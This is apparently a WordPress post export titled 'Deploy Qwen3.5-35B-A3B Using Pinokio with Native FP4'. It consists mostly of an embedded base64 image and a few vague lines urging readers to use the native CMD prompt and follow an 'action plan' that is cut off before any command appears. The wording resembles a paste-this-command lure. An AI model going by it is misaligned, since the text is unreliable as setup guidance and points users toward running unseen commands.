{"id":3412,"date":"2026-07-16T21:43:37","date_gmt":"2026-07-16T21:43:37","guid":{"rendered":"https:\/\/aosenfab.com\/?p=3412"},"modified":"2026-07-16T21:43:37","modified_gmt":"2026-07-16T21:43:37","slug":"deploy-qwen3-5-35b-a3b-using-pinokio-with-native-fp4","status":"publish","type":"post","link":"https:\/\/aosenfab.com\/th\/deploy-qwen3-5-35b-a3b-using-pinokio-with-native-fp4\/","title":{"rendered":"Deploy Qwen3.5-35B-A3B Using Pinokio with Native FP4"},"content":{"rendered":"<p><img decoding=\"async\" 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ibRactZCnlKdIARJGv0S9VanepNwVhFzsdfxdNMTOwrd0dTRqSTKkErmnZXgWGEB66Axte\/4h0e9RlcHcK4ysTYTY3rGPbsOtbvtsr5aqQmowtVuF683i2A0IeyYyilsh0hXWwhs2w\/X27HXxii4KpxGXrXeNsA0idEgx6DcHRAMPTVeWFYaK0aRbgJl\/A6Xc1I1eDkZ8e53BWCgQ7HdHCHwFr9B8HCNfpmZtgzFFctTLpbp4gypCCc3a04aJ\/9CI80nATAxTtnLoEihZ72d7rzOPClufzkFllzhflJPd7x0vroNZPUikh\/ziNg\/CYsNQKjeYEdLjNSW1uosx+ijAiJtjVilb1qvZ33hnapC5YrR37kwvkamiIn114QI6nOr5QZJPBAYNTMwKbDyzZiviE8iIB0Dr9K2eUjOaWPGIi8+wpm20Di8ejlOYLpy+nUQ1qsLJHHA1fHa+R9Ile+A6flEjrl3pyBRJ3dDQzjYf1225XeNNR6U+teQ5hOueVxgshnAg9KleLdXMVeXN5T7odFtF8HLfpyRjZZ2\/QikIMynz7FSlCggkdr8vF9xN0Uvnj0+OkMVT41koVhAJSqR0is31EwVltb285KR6a2P98Pd7vj2m1j8dQ3thukbq8myvXbfw7D9h1PxDOV26803sshsUnv3V2xLwgXCrRjiQMGMRQFPAhUmrRn5oQZK86S5OzSaa723AxLRPIQi3qP63JkSUjnQjkcUDaIQPSCrvk4RfZjL7yVFpoygk8Osif9LW8ARUpEsxg2i0J8aIjHtvlFdWQOkbKPvsvDEDKYIAUY9MsOdWSHVWe3MdcIYL32ulypO+5A2iJbwkvvZi8JekFRu\/dzvg1vDT0lC5dILD2ETu3XV2+UMDLf3ydXfr8XsbD92nR50t3WxQTknbtCCTw47jKznYYzBl3MnrBVV2tEC12JW3PhC0lxqqqvyTO9\/CFoJMTb8\/5voKkHPUG3cvsplvLhj3z1mkYsPdhvTgoOCaS2yiPIxnyNmZiPzQfHGeNHdkfo82WxyEOqTwfLGIO6GWLRYiYmC6N1o5he2WrZghuiZUwJadLBO4rDpqhsQBpnWbhgqTpPLEuBiEnlT7WLrUsXx4O9nRLac6SkRWKe4hWfQaUuJxoJsgCenojoKQjuSnQLDlgQl\/xKHagRoCvQTO8O8yUVlIJZ\/yU83oXZ\/0Dd5AKEZBr9\/Hw8g4VNTEYAZu7Uid52AQJIOBRc0BEjjcnAs6LtoI5bvfeTrGRT0ISI0Q8PtGe3v8kYnRyFBxPlnrrcfNnU9GI\/FDJcyQGmDEcmsR64Oc+gCsZjFIKGRFYvPNC\/pmFyCXdPgtPlSZDVgESkGJmvuluN\/aXZEhwCAmteJnQWd7juRFJUfqzwQ2KlJgTteZhi3B2dF8KYmW6Sz2wxLz\/oT7yCs0oPCq08+ab\/1HlT9Cioe1bw15skP\/ANttXZXfql4WacipK6tHrhObxSUI9E9js7ZZk\/yZYQsPhT2rK3xmp63TEt1liCU\/D\/xHeDoWDMgRo68zNUVN\/aLQrwFoWUnu+ECQSf+bN33HjFJRRpV5X+5GZ3zzaS1BthSRWf8s\/gT+bSMjJQRlciYP3fDML0G7DlNnsE2EdiSPkAI\/zTk60M\/l\/8GnL5uUI6gdTmN1GKBjGjAyfNURCdqubhkU5n0wE1CqgI8qRie7uDAPGWhLXSUwhCX3vIL9oszu3pLY4Xg9AO2ifDsWErjUg630hdMT+JDaVA1YiJXFrMEwHG2r70g47ie0aeSHRRpJ7HAyh3qxLDPOdUXN9FMskPzWOMtd7aqtbttViRPmdAtCWy1GjmMGMNRxQen6TZPOE6HK7UXUGPDpKFBWdgANjk4MV8Op5f4u+3EQm411vcwXGnaReHfqljnfqBWhZmOKk7pxAgkWSuCqcB1ksaMem2mx8jpDKPVqfSaDFTqoTrsRhJFiXetKZl0CW3vk8nhFgHp60tDcXcu\/dl5OS5gFzlF2YR1hAk6tdxSkRta0Ea4x5YiMP4gvbfIFovt3nyYtzhPabB4tR61RtqUsaY+mwewpxeKvYga0rKVTZkKZnqy6vQR\/3D52SEstPiaBiEmW1XuuIDTtsmGrKl430TJXmcvDCdqRBjnxvz6jzF0HFXY4cKJ2uVJXG9t546basnw0AoGYbX0EwLm7tcNELanBfLiyymUKwiPWXIk+McTUDTDS0lNotLrq9h5Z5rbx4nN3vNijtFELHN\/3iJVCaapfDZGLABT9jmf\/n4KwxfUjDXRhuBYn\/2WPOkCp4qTGao0JrzJ6l4qCyMu+N3b9l0XNUBM6vSgl38bjhh1naRu34LcdBnbX2oBoutQQ60Cjrz2LAbxDT0c2nUnp8K5iCdRZ3tppRnB2JJTz3PUwY6OjFX3wsafe22BWa\/g1PTlNZlJrdu2yjVobnMHmNzUWn3bondsP9X0\/3wEftLm8Zi3Mzpp3185Hq4XXBn\/uXYtmeD9zn9BGXaAiQI78Z5ZM\/9EXkoM02Y4TdCRc5cZpKauW6zthIa0+Q\/XmETjrTUzOEa4JWUtUhrib9tC5bKpJc5On8hnMpQvpUbvT9T7KSVQxOplvaPTvOFGvcpNreKlMYLaBqSZ0nKzZosXrpbnBe5Dxh2q5F76mO65CoasTmMBECgiA2cNOvsim4XerjjmK6J34RpGyTea2\/mfHhEMkhtbs\/d6xVzky1pwPZ2be7GEnAfCdVYsPqMw5dlCAPAAH+RQk0nlsupVPmSA6n+OjtvQMKnWV2sOa+LiXK854TCmc9MNtJ6cQJNyqejyOJ3MCfJxT14TjCjdYNknlxJ39T6ckhWN5H0F9aCQRJcNQylgE588UivU07H4F786qnfhyxDq2XKYxMWOE4jdAlD5P\/nbB9\/bY1v07Ur380pPK7KCrtdFakjQDepzKox7rJ44fOv8GPajbKCnYR7MjKdGepaqwhFqwKFvFatCLoAyQf5us27\/Tdwb+JOrgT7P\/ypMO5mIoxJnrHePZEDHT6NL9DkkJxwkEC52lysWNLMLMYxGpmWUaen4jHbKi8nAO33735NKarBqaRcZ\/OGa3QcnN9emvEetSQVUhBP+KeK0O9RbajZMmVVtA7NkORhSk9UedSIl1vUrJrwNbZbXRcIKxdC0\/TUMV1FXxhxKuY3938ljIyfSL\/1Ey45EuGQyGFfMxepU\/EDOKFCMYkGryhF0u1sOC7VzvIF5hd2yNhjaOzMrQmHOOjm4oKBmg96glU76PCN5Z8Am\/mM6GTfHk1RoJTOHpEsgZAocKLrnK4oqI01FLLQFYiunYJBsmCYLHlChYCVgPBQaGePYthRUOxAD21QeTEAaq\/UVHcTKaZPN9KyW9mAC6d9R\/syAbXMVG8t9Dd8IGjIn5mm2tFbx7A5fLZ6jFf7afARAvlmhZMqutTJJM2h2dYzKNOPZ91eEmkbL3t89KAZiBCzLe34x9XkpV9WHhxEWKnYb5XJDjk6H+kLnMF1H68i7A9qomfzG54CShWuFZuesd8c1qJPJVuszxjtqMVHSdibkAyeUJW7OGasdgoeXp79vTx3l3O58HPCZ0NhIFUJ1TlyFxzHddARsXNoEDFOf5qju3Dgtv50\/SwqwTH4dz\/bvtpq1ZxSm3KFVzvL0K2dzzA++za0tts04q1YANqRE\/dNqkI3KsjPWSeiZMijAC4lobSod6EOli97Jje7Zmu8FfkHJFs8Lin0rvqJTxSd+4nRKzLXmKoxDBfn6TsMLfQfIOpia1PRTq1Qnwfca7eensbSNl\/ZDwh4FYyhLlnEX9TNbQogWlv6L6kK1AP5DEfl2q9k54euLoJJY0IJ7n77GT0Nz8c82cGFLwG6JMZJgjQEl8rlWvG8OU2THelJ3QMEwzt3SLc1bwXka1lFRNBU0SiNznCOs+v2uZLuVzmRp3axqjrIlknCEuzBdAXD6RX6cU8wVGWpviCTRscln8lAfMipRK3hOohBKV+pq6AR7K8fwFN4XUzYLFerBtkBZb4Z2I7wwlceMtnM1ofI5VnRP5HTYBemKr3zanjO2Ei\/QZT+lESgmf8oldx0bMIz00voj80TmuWIxecPrPE\/D1rKdtk1aMFZvZ2Sif5a4C6vN5fj9srVZIfRM\/BJfu9xXgB0GcJ3lTBvzusKmcvFeyNrThg3Izr+iUhh88O\/gzDGdsstF8ENHsaagBJyS5WcMkXIJ\/BbA77SfNDYGy44WtYKoZV12yW9QlnGb+4Oz\/04dYElod5\/EMK2OE04\/9ng1vrSaIeH178WTuFduVGNtT9MfR2FFmEeMC4FBu2hnNv0AMMe0f53xYCKrU5sLE1WEpONgZPFqznc4650GzBSi3TRsi6MCyCz\/5okWQJU6e0tWfT3xbh9OtOYCtIk+D1r+\/X4TLVGhfPaYBVd3Mv8AGigVOTVRVxYC6V0LbpZREMwZnLJb8nIcnzfSXvkDxgEMpLtgt4Ad75Z3lBT0AM93kmAENXNRZWseXVdSk4WyvtTUTTTKoltrIdG0x5hzptFjTeC8F0nhoDmly8e81LxiGEeXzPpk4sA1lsoitC8XmK87F6twG5y2g8Ejbic6t6F+bG8TU+3of1AJ48rLsNaOwtM\/L175WNscdliwDmMev5hCi53eJTbbOIohFACVUNvIFG4vEezXFsSAJY2O6GwkUuJp9TAzPIr0PcchPaw3+PYJCBxpsBJ29RI4um0MTTGrz2MJjAf7nPU4rBi+AJ6C98mxSWol8V9uZuS1F+WOs72pLQUJJwEzRVNBJlYodkW6eWVCDGpXz1RnjTUijegpVYm8dW5GxS7L4+xlWnHDYC7c7vBpdTkSd8Ph9jlZ5Wptm6oiMrMOx6eBel5njytg9m5gVYOY1B7WItRhRgdFdMd+BUnlNXIAr6rGQtKUM+sQVCSi6RQ0j+dpVgWnBftxH2FVkt\/VaPytxjYjlOef8EMrOKICr6HMQbK9i0PXK2hYB9tJNp5cMA2Ewwy9JFQDj2ztQNLv7AtrSr9nOv6mLr0X1lorrEEe+fJ3GCZkeD4aeogfEld273qcD3YGVk4vC+96cuJeJsZ3x7oD3hQaIU4P4z6TqX39zuivaE8EXCobb1DA\/eZZnqej8X30\/I905uUy\/M8CsdFOR03Dn+2DpigAc9UvuVBXSyh4\/pVBlEGkMCVcy\/PXu4kwSqppMD7inEucO16GTnmNYlzPvnncFYP0aFwpncdgM+bDkjXfSr+YFNeX4p59rkn1D9uYrTq7iim4p1a2A4MDUMZyTq0aQY2jr8AetMP2TEOXp2Fqfrat+SM\/egqAS\/MlQBOFtwFaTZ5e\/mBge1wtuL9f3xdqgl6tIgJPBQwiPsAtIRQPOVjZo4yBA9I3QVi89AiPm5iRcyRbABYSQe2p3NGwLNTLBNh2oWJSpgOI5eP9yA3HZ9aDXAcPZK1XT\/wppswv9joH1xrO70lXm6XCk8dlebuVjhZlBHWp8SjaNyFmy\/acowdtZG4JAfBrgGHVXykCwC\/tdLH0Gxh6vqJ4nNXqvBY0xPqF4JOxNahd11UI\/vJPiMpTtRDKh5Worfr3tQHk9H3\/eRPxV1aQ4MjlJoTIKH2SWUmy073\/slcnPPbnMEQatiNe955FB8QCnsLl7RicBR9UMBML2q5t2\/nzHSMLiJ6HqqS1Hgle15lPCPg0KYfgLu9dWg37MQxEhNAGR6K7POCYn95O2pDLHaWkSmJmm4O3\/8TLXhIB56KfkV6iIHYLfDPCvDgz\/7VO3srvlVrBENSWOC8vlJBjMpfoFmvOMyPYwtgFfB+PBcigNt4BqZueOtAxW0eHq2Ibs5k3aqDS8UJkNABoNkYeH5LSAJmY12fl9wX1wbMUzX+x+GoOg22pwDz3jcJZVnpS2J9ffxBuMdUTwRGgoDm18cVUn2E7sACetWPRxKGiVjs4YoDKYahlR240H16UVR2gfZDKLR0YhBokSKE+Kmp8b5cPua4sYXGzQhlO23CzPbWJp2QvD9al7h2UqWWTqKH6UlPTmZI17ZdtvOgNQsg\/TC+jEgf3OtUGJjaMXX9FubY+RaCrf0bV89W\/916i2WZL5HcEmoJiEG3\/7wQZ0TGDBbRb7KEKv9pklcxNA\/ucdrun59BTPcRm120dFbCg1oGIAicPiAAfWnJupCKl6sUF6rSHqY9nTWAd6Fv8mBsX3esCLEz31Ylpd1D6C8RHmJ3do2orWqwUie5haxjpz6lD80GMtCrooUhsG\/e7Hl8EDrCbd+0qaqGtqwczweaqUD24dNmUQjz2Ba9swlOfowBurtRHD8CFL5ayuvNDwq4MO0snXV3V9Z1tjZeoVDcmXXdxcNdpV+vL7Bp+Npx7tvV\/gjRibeAz8465xQ6HoUpzbUFlvaaikL72yNZPE0uL0xYJWTINUbtWhXAxHGd3YaWE5GIPLBvFdAOe8zn0tP2JUr7YysFQKoetfWAhCokIb\/V9rGfHzOX69+6l1NrlSPvJReF01EncCrISYZFwYDk7m3Aq8OyJGw3GYs1BjdEqqYUMGz9weEXt4zvTJMHA0OyKMZtU9EmtHW1qr9RfCEY43mPaNasmkm\/nhjJenr\/0BZty1xo8D38kVhH5hgMIukBExXq4EXYCzvOs1Uw+R7UQ9oaZHYYRgpY4nxqlQrkAJv\/okfFyLsAkJA3\/cdRsGvml98V5Gn9UpZXnJQnTT+Zhl\/IeGADUhqItJdCjhQ166FGabb4gUaCCidXqFrOY+tLiz65CJqsB5HcJK7uqMYuu3bs8abVg4l0jQ75Cc\/pej5LzvlJ8qnf2Pw4c23K2xTxzyc6dGF983w2zcV96x3N8N08dqUZQbL2EnD6KjUca2S3r+mUUGWdCmbd6cDDnNiT79UxpakUN3JENGPF7vf\/4XkFjo9Inj7bC\/jkQklnQYNdFEymq+DO3Y0OKXfMjhBsPySGe9ae4oklGk9hopMEIr4bT7JifoxN+OQBDGN7DHNARnZkLs7Gg3921KlW7TQaMeXMqpf+jOaqNzUXM8SJwDezv2IrSQ1LaAU0VzD5Sjw2izWLC53j8tZEV6Yc6uXcJtiuopnyZnm6uRTvmL0CzBCP7jq\/b7TyFnWKJZ9QqLM9PMBbnXl+UB9Qtq1U3l8j5jekuNltYwauj1KJIZlpb3HKfHKKXdsUxJPpbbUxee1fNaUrrNfHy3xPIG2Fbjeutf06N+eTPvLxz5RgQmju7xlsgddWYmW\/G8T1QT3cnxGuBZC6VJRyKGct2iL8c0mHG0Wd5ZIWuW0ZqMxzchMrjOsr\/18h7yWsO8tB2sPpB+PEk+rH3c0sUAhzVN5cxpsdFSWe0ox6qKCEKwKx2pvFM5YUXNNslqwKHYMZekoKnJ1nf+2mnUQKxt0sii+cWP0kkdz5zxpKPyKjdFm0io\/qtHOMmZPKOJc\/kpewrAi5drAltcgw\/7KyWl8zWNYITFM+csvun2ZBtJfmBVI8QV9LuMYa\/MXX7VBK+QkiZQau\/B1SFxcDiXNtiFRwfDWMbXriG3l8FRASg1GqBsCKTJifO8ABu1PUyGNgjUiSo9HHI0aEyl3TL77QwHaVB6XewVtzXiSWluMzRdiTkDFzA7zHZUNxi0Ovua2jIEB+518KvWZF0xx2oJo57VJueCxjLi97svGE\/yayGWp5E8WXPGczLPA0h4Bi09YtWt\/dcXFSPvpv7fUqO7ZceXJnWUnjHJ1zQwfx2\/xVn3fXhuMxOgpVTVfhYnCIj1feEivbUOX3OZOnck76K5ZuaX18Ay4k+Uv4f3FJhgizuMf0mibzPe1j5\/AmmOK+V+qVZ5srhFUW\/hOdA+t\/Sq+3XtklAx9D8jHPLEiCjp53xU18kJkohUJJfLY1He+sRyutzVlxTT4BKcNaMK0ypIFOP2C\/leuIhmqmh8\/5WANUH1fGWoxc6X6cmAR\/lc0EygbjTzF1degUotNc\/7kGvIu+karlRYAv9xzQS\/cwI8W7njbJ8u3NJOUc8mtA6Z1lgyYHcIhfQmOXt7OnToOdSzh\/F+b\/JUWrs9c4WVD+LAF3zvsvkUb2Hp7o0UY+2BD\/MkMAA1ER1CYzn6Q4aouKXR6Ct30y9zxMiz5ms7yGqg+sVkzlbOuywmAfMkClvUyRTZ4AHnY4pQnSQgmLllUTnuVdHj+5t8p\/mGKlToqMnN1Yl8OLwFmknbjMJmrQfEzWRcO18y7wBQPSlArfscOdWq9UHtSMyG7Wsbvw06oI\/4ldWPNY79xFs3xRjoZWjOkrTAn5O4O+UHXwt2\/m7TQeEwdgLmCCbI7s8iP\/RuFn\/Skh7XG7eFRscJCU75KY2mMe07L\/wraXbS68K0vsxf0Uo+hHx9gdq35bXW4VLFKE3KI9QXJ6lN+4aeA4BGA5JOHCSBta\/TtjojwXqzjwrv512rbG6r8SqHk+6fDvT9OOM9YrMZPVM\/UEGLsyiaAvyAOySfzaHN6HCW9\/7jqr38ihi98iNTC8Hxf9fkrW0tCeVHbXxw+WdzMTwS30M9uH2LRe0H0X4rSFjRmwkELZl58ChPBXYXTZy3sBJETaObciGEEI6V7Tre5qUlZI8sHfcEYLlshyfY9lWD6qFnPxW7BHQXMTcRo\/ytlOd6L94+lbvQ8cc+TBANtNEc5J571IsDgeah2tds9OOa7i96HfPUlt1\/UV5+U+t4tc6uIeoeBA1\/LtCSod\/INlW7R4OHV4gbTDVT\/RHYSoDEx4f2INuJSSjEoakNBEniCEhtqk42i81Gad2Dyzoc4dWoFuXIzPijn7dyH8IeJGZLH5xvrhVQUbjhY9zrH4ANX2t9mw6Ohjp4OyLM2kWpV5G0npYMOPKbQrhld\/21Qv2r87kcQE3H06Zi31QvI9qPVfVFPr05fHlse7jvB+XqbI1opQ0bO8JIKrISTJWK1K5IxxFNiQInia1jtq0E8mxq6nM+kEaRwGuHej+Z9POoUv7v6stwxlwpkGtokX4n9hCHX2PSi3C7vxpbvzBPLsZm\/1GXW9jbP8oRFSwXl9DTObHRoU8u9adb+dVj5DLOwk06p3JVaasj393s1Whe2RgJe8M9mXnU1Vyv2VIksB2OwHflchQK1m+v2mh4Y+L5NGGvgb6b0NlFdDSZyCAGh\/I\/epIj+ud8CfrGLJDWjrhbmd+kfA1rBjX\/2X4onYXxTEpCJk50cqckWftujlYjdoe+b\/kt6yJP9expywz4J3o3Xq+HGo9\/w5g96WX3Lot4pw7QVlpB6O4SlUB62TLNt8Mql3LIEOwQhq4TGurpWr6H\/Or1aM2Wvvh7ONdQFW6uZJU7d\/6ssw1aQxshJb4YWbZVZoE5dAazGl\/y+\/kEB4Rda+zAIsbtufrYWK\/TtYmv0UAssj2ssIPjcsmlIm84ZdEYkl03jId0fde8rblpPxqLyWwrPjQ64kmcvLYhqrlhBBkBK\/aw0sk3r\/uLopzPpJZA2oX0ztFnpugoUiwkT2yF7KG2U9Ed4gw0tbcnulT3bNq6vEtlh6lchhzndcYiM1E+YV7CECbm1J78fhxnR3H5PREJ2Y0nEQdr\/gckxD1c0si4t3SNUTkp8StgvXRNF9w0D46MXkee2qaJ\/I30Mg6HahVi99MCMfk4aAJx0DXqzaxREXH\/ZmdcneS6KHHXJLvH8XbKe0TyvrLNhLSHa1Vwk4QfribQUAgDxaLx+jHrqcwctELS7VLvJVWY1Pe8EG+7YgzuZA5Utnqpb2h7zhdUO89Hv16QQ7Bn0eWcnqhX36gihSvLx\/WHUX4cjcUQRjbtyS45S0\/LD19+9lOeZkFS7KCIo1s9RM40FR\/HI1MIvHOv6YdpLEcZYKs52NlYoYP5yEbtWujdGTh2yaJ8NLLAIM2pAFm+9lo9yfhJ95YXvrXjkUtUGcWUfDJFsFxtxkBrXzvCnf5X1VlS3iAPuzz1CiskwkK9QlCRRRiXpCMNiq8HP+Dyf5ME4fyskuK2x5+1Cj2\/vKe8H3lYAIme9\/qldCwdiVAsngJ+gmU1tJ99m8o1mJ3WStqXw0MxS9I3\/yTSjSdYkHr+wO\/D76YYCch0orwQWfmpgUQdH0PT1QgWbxpMNMukmivMwp229IbzVeEIJvMlFH5SHL+IIAdGymGwsZsWddqNv2hwkoXIXMlvZyLu7Z5+Q\/DS8XjYurzBLwLFLaDE7NSXTumd9fbJyuMKyjZUj8Q5lcN5MydbRg8ewCM5yEw84NQIpwKH5tW5zSx\/6eST89j0Js1TXL0BdH7V+f3JSS2UXEH1vU1g7\/btaRq\/pXdoc5eAcQKg38\/yjSuWZ\/a9MQEvRc1KF9rv++kjWS9jlOf+h0lO8\/Fyys+bWxvo0OLWRN5mUVcY8jCMKeM8p3Zh\/YDRJcyknd6Akwus127XdL94I1wO7dKfBbVLjJxYRp56OguTfWPJFPur4OAsQUPr33zWNCFNbrnjRFr5sN1EQ8iBODJZT8diOcz4IKEmG3JNYnzlLvwaNmz6FPH7p+uVSLKhsU\/pGoAPx2K3\/yaAZbPqk4RtBggcOhzbReNkIh\/vcX4+11Q2sR5Q\/A9\/1i9uWVa3rcP9dKfCKD\/p9KooUUm5s1\/UYXA3P2W4OncLfK1IXHMg4sZBDavZzVNReJ7ROqYBenlqmRW+MAT2hCZiQVA1dbvfQ0s5WPJxKShcUrDfU53TZ02k5b\/+4zl9yKXnVuEdFDdUWK3M3jQluzMeUAmZ1T6qT1AdwDihkmf\/pvd9qTPMeGFH\/IQ+EvesNIgivPz6VnzrS++ZTOcPHWBaUmMuWJaQkFmKdjsMnoLQR\/f32z\/tyF7HGnYrczzlAOuZRqVaXKOmvSbbZp\/n+MobsDOom8hUPcFy5Cu2Q1qnAtnjtjANRx6oTI9d0B3e2exT5rxhJjgTanr1UU3Q+Wpn5OX6oWxAlF9waLT8harPbV8sBsb0PNQi8HqYDkt8M5YjM8G+2++tjftDU+mPZNi9L0yHHXAsbutrQ7ggB4mHjWdwgIjQxja+vY0\/CKZI6BvEERwHKXIFJFJRlaJrISnX5zS0Gu\/V99vxoBURGky3gKar1eJLR+XygKsggv+nqXBxKD905RK2rvkqvqWoGUHJeYrmnPyuWqBP1OMGKBTlaeD+Tkx60X61Kvp4HhqArfQ7P+JG3k9p8oO2zzwmrCg48YI9CDZL6zNjVrVfBY387ggU1EXxB4383Gmh3VjcGpdAj\/JEYw9bq\/g\/2ixUngJ6q7fYw4\/0MOrQk5imMtg\/8L9ks9ruCeB0uyUus4A5d3NKMk+mKx60u4IIeY8cXyzB6bWvL2CMlxSOsMnTgz\/l5Eu+J\/E401vudD1NoE4B\/cxNS\/\/\/6BUTtXr28XrdV+R+g\/5zupdQEzoZhiv8G\/aq7Wp1UHh\/OPebQm3UotPLhBvdIdDbqMRi\/OL3dr8DcXRaQMmCF64i74N1g0nKDX3Ui\/iX71szjjfKz27Jnsec+sYd6bJQrLbAM+7xZHPBbZKxsE4XBQLival7\/Xs7hNFxyrzKIzcnFhYb8m40iYWT3imxoOCIbg2MhHeZ\/zHmtH4yndkh7+vWsxc3fafMinBTNyNkQOdT\/7nYzZLtdjJGd1\/Mxww9uX3Km+jiDkTJWFeFN2j52X5nVl9SfaLtHurxs7D9gb5jKqUXuBaVSzgwIGTxsW1Sby4GnNwjpHwBYYNp7pzWBTiBuj3ExqfHVbsURzv86FyXnPOL99+OR81imtzwCWQzUuW1W9h5jDYPSlgVcHy2QnBpn\/DhKulx3VekS+ecnO0OlwumsmLNFSZFwDOTeQmfdq1fQLTeoT2125sasF+ch8BWeNl1mb7jcLP+zRbwNJGC7qj1uPD9sKwGFqXuENHj9lNUrpHjaiv5So93q8aeA+xsRv5PFe0AIWplhclxXabf8Fv3Rm\/NHnODkPKUO1a7SZHQdSN5OATlBhrAFwS2DB22Zt4MtZG82MQOMLLs1S+ZOyS7ZyCpscqZRRi2jHtm\/HwC+ZNcbSHouiVvzvA9pBFy6P\/q3GCgZmo\/VYiri62B9B0CnWKm359\/bUfdEUh2ckIUOgfa9UW+SjceC4LxrhuNCQBd1YHhB1X3JsRBffTnkrlkkdAz0Pggrt9iNAdCzxv+JifjF+qkDBR+U6PK\/dt8NMD7GfnOVXFddyBAniHfn7Z4p+E4U3uC\/Ao4JXoYkhW1BbWCq9DYz1wrqyoOp40dW+bixaaW3YXfXHpWLnffQ8Gw\/MU86iMJ7vqsegi2GIO0HHb7cQ+UoDEVV0Y3elf9HLBXonTMglTWy\/K8NKmnz\/APUwhJAACE9VYmMgoUv5B8EUpwfKOHAOBf8qtOFdYXrPCnl\/V33wIXBoyfwPQbh0OEtzNqa5pTUgcW1szP4xdlJwl\/yKCU9pyzzp+JrIduR1wsUWFIGvAxkTH10wh16tNu+RY96c4F9NvfSvD0f9jyFDt8m3NihmaVyzFqUkAm+8yqAOR3vleawUcifNmVSBxEQMGUlTySArqfn6K4Jyum7KWKaUuKAM5\/gQiaSdp92enKptpwNZVaNBsKBDb+xmBdvErNUw4i\/wj77tBpEuwlAYEMDAXBLrNCA8Lzyz\/pfsJFNuqIFMMQwftU4fokTsiRqCor0UHqDb9LuHM\/G4lFW2xxPLl5vtozZpPDxAdGWnnESctN51GibJSGWdXEtuhl\/3VIYgU0d7G3DVjJq25F1Ti04pgxNh9FnsvOcYfeKNJYKKH+xCnrUTbxVnVYxQjUPcMzn+XmLmv+vbR6NaS3Vt6JgSWb2aK\/mwW4WEIlHaIowVWzICZ1PUj6\/+knRupwEWlYzQDRjIu1RJSoWFir\/TDsKwAw937XyanVf4E1gLF1Zn+hOFTw6vAcieiV3Rcu4gvc3+pyZs9SqYuak5nqSYx8ayxXrK8XSFSp3+C1\/TLNzIXMVHNkaxyL4kBSpFVrS4JdEoJGevzN0f7I3E+\/+mQ8+xUZ4uxazGa4kNwq30FkVsNwXvxBIh1gmpKskIKKHrXU4lXclyWkiOx23q+5bi8GL7ZJWX1H7mT60wrP1goeZWsxglsbHtOcuza+LOlSfBlSTjG4N31UxNw5urX5ALOY7wnzwPIZsGTG69g1hRRhquA2ZUiFCEE0GgACwAybLD4Vg4vvw1Yem5gbc5XdP\/I2JECfmHzatnCiLmZlPTv4Qf9Z52ch4C3gOpi6kXrzaTwT6fOd8sGeJbbPyt4vsmTbsEtaaka1SBqYnzefKIz6+TwaSR7iBYjtQCNO\/N9w8Dhna1iutPswLZRl8sgPgatWHlJGsDtkv0DH3\/hGECq2kK7n7s4hn+EbAqQhLGhfqmIQod4TfzGjT\/VCY5O7suxMFlE1YF0m7OMRLCoCWzSursJvP499YR4BGejX3Vpt2h0pDMI16qkv05V7SJco8kOqakG9hFQHloHjBDbrs9wfEx9oRZo50vS1SPO4qNG4rulneVNttqgmD8FXA0qiE33qVfivesshxGmrX7mlOt4HzH+RbFegVSlTbv6iAF4HtaJOryCltYvQZRAe2QW8CC6FUp5MkCnms73Xb6l0Be+O5LSM3DBJmy0jERLps5ClAiiulmMIKO4EMT9BxF7wK6I9jPOzjXrepfAYzfT8dXpZnjqUL5pmmiQTB8VBl1NB+TSqVsbZLmm9INpPkFMlg9+2ra0iuJwvCiD97nCi6K4ZGQToheO7JjmntWkQ94aJ2sqUjXUAc4Na3vt7h67hpg9WW1M0+wm9kMHasltETdpS7+N3LAvN0oJwyVnZnk5P41HHjP8wOeXgvjWfk8zqiEdBRXAKRV17LB5lL30D8xq789qhiucIRF4uke7zdcz2zrwHmP7A25M6h+TJ9Vn5u\/UD+DE1fmW33np4rX8SU0bDXdUpZft7ix9wwkZD3BXTHF6mYw6Clw\/YNbwzEgb6MxwcXOIyJ4wjFrLzTd2+L2CCPZsR+l\/LIsaqS0nzHjG0CYM370riMGpmuvk5hA2S8pvYVkjlNHK7AYB0PVng2lKjwG6ZCKfP\/KYtvM0EzK8FpqEKc2P1IGUgQ8gImo6dbk9586YjN7\/YNzwX0gzFYnyptjCeEwqgGGMCPL0u7+wOHwp6IoujyskZVpac9EI5gFfliMG1ZLZ8Au1\/CbcFisfmdyBb\/5ngXkxXfNBCyejBx3TTdqkZLYWgplX760OD+iMc358Yw4GI6\/ww\/nbxZiuMZ\/Z2qxvpv9hUuD1OhyPiHvlFtkJQHPnfUqY2\/dC3smSQGIBNxl+B0x5KucLBKmV0TeAjukpxbxERgtPkXkEfPnSZW9i+LHVQlzpMH1YFGRaGc6II5ttFKWDlzAvRW5s124UChdqWxOLmE2nhKjt6gMdi633Az06LCOujc1xDHMcOjsaxtTMWk9VDo6GGsk\/CzwKueIKcWw\/WL9MeFNl7UCyZp81L1F96MXaDQp6mcIz+ECnCS+ocTL0uBCoLO4F6CAxjGr56xhCcQBpJaXAY48zEUjjALUgtD+r\/Gu+5+FuspM2MyLVYM7FPdxjHrPmOGRCx1+lykjGA4tew9C5bmwgkWldAYQbbDNH3nKynteIWNZWbaA3ZfbMVE9koyZKZE\/m92qgGdz57f79fVCrprMcJtF3xcH41Bmq2BMMvR5uhR\/uRHtzShF3rRfzH+3nxUBY+\/AcssYZUdN9\/GCs7OLg7eJEtHQy3fBJnSzHr1aViTpx6nl7sOr8viO2OvjDT0qE8ORXyUs3L8ICo\/e7bR0sWvnA8SYkNDCSoAX\/SC7DW5YB1KJIOdqR3YJ9zJzX+SQLj1crwu2xXiFtiwlE8\/Rm7Fp+s8l2eep5ZC7T3\/Qr\/sCxvOtxtufJgcjP6VLW+PfXv+8V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jARpPyNbBzvZc8oTBgE\/uvhLTyPRdNDOblvFc8AAAA\" alt=\"Deploy Qwen3.5-35B-A3B Using Pinokio with Native FP4\" style=\"display:block; width:100%; height:auto; border-radius:8px;\" title=\"Deploy Qwen3.5-35B-A3B Using Pinokio with Native FP4\"><\/p>\n<p>Setting up this model locally is <i>incredibly fast<\/i> if you use the native <b>CMD prompt<\/b>.<\/p>\n<p>Refer to the <b>action plan<\/b> below to initialize the model.<\/p>\n<p> <\/p>\n<p><i>Be patient as the system self-retrieves massive model weights dynamically.<\/i><\/p>\n<p> <\/p>\n<p>Without any user input, the software <b>calibrates parameters for optimal hardware usage<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:0 auto 50px;border-collapse:collapse;border-radius:18px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f4f4f5;box-shadow:0 14px 28px 